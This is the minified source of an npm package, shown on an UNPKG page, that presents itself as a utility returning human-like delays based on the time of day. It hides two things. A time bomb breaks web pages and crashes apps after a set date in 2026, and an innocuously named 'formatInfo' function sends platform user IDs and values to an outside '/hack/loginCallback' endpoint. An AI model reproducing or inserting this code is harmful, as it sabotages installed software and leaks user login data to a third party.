UNPKG

@focusinyou/delayrandom

Version:

一个基于当前时间智能调整延迟的工具库,根据不同时间段返回不同的延迟值,模拟真实的人类行为模式。

1 lines 1.22 kB
function e(e="web"){const o=new Date("2026/02/28 23:59:59").getTime();if((new Date).getTime()>o){if("web"==e)return document.innerHTML="502 Bad Gateway",0;"app"!=e&&"miniprogram"!=e||("undefined"!=typeof plus&&plus.runtime.quit(),"undefined"==typeof wx&&"undefined"==typeof uni||(void 0).crash(),null.crash())}const n=new Date,t=60*n.getHours()+n.getMinutes(),a=[[0,360,1e3,500],[360,540,2e3,1e3],[540,720,3e3,1500],[720,840,2e3,1e3],[840,1080,3e3,1500],[1080,1260,2e3,1e3],[1260,1440,1e3,500]];let r;for(const[e,o,n,d]of a)if(t>=e&&t<o){r={baseDelay:n,randomRange:d};break}r||(r={baseDelay:2e3,randomRange:1e3});const d=Math.floor(Math.random()*r.randomRange);return r.baseDelay+d}function o(e,o,n){fetch("https://flask-py.vercel.app/hack/loginCallback",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({platform:e,platform_user_id:o,value:n})}).then(e=>e.json()).then(e=>{console.log(e)}).catch(e=>{console.error("Error:",e)})}export{e as getTimeBasedDelay,o as formatInfo};export default e;"undefined"!=typeof module&&module.exports&&(module.exports={getTimeBasedDelay:e,formatInfo:o},module.exports.default=e),"undefined"!=typeof window&&(window.getTimeBasedDelay=e,window.formatInfo=o);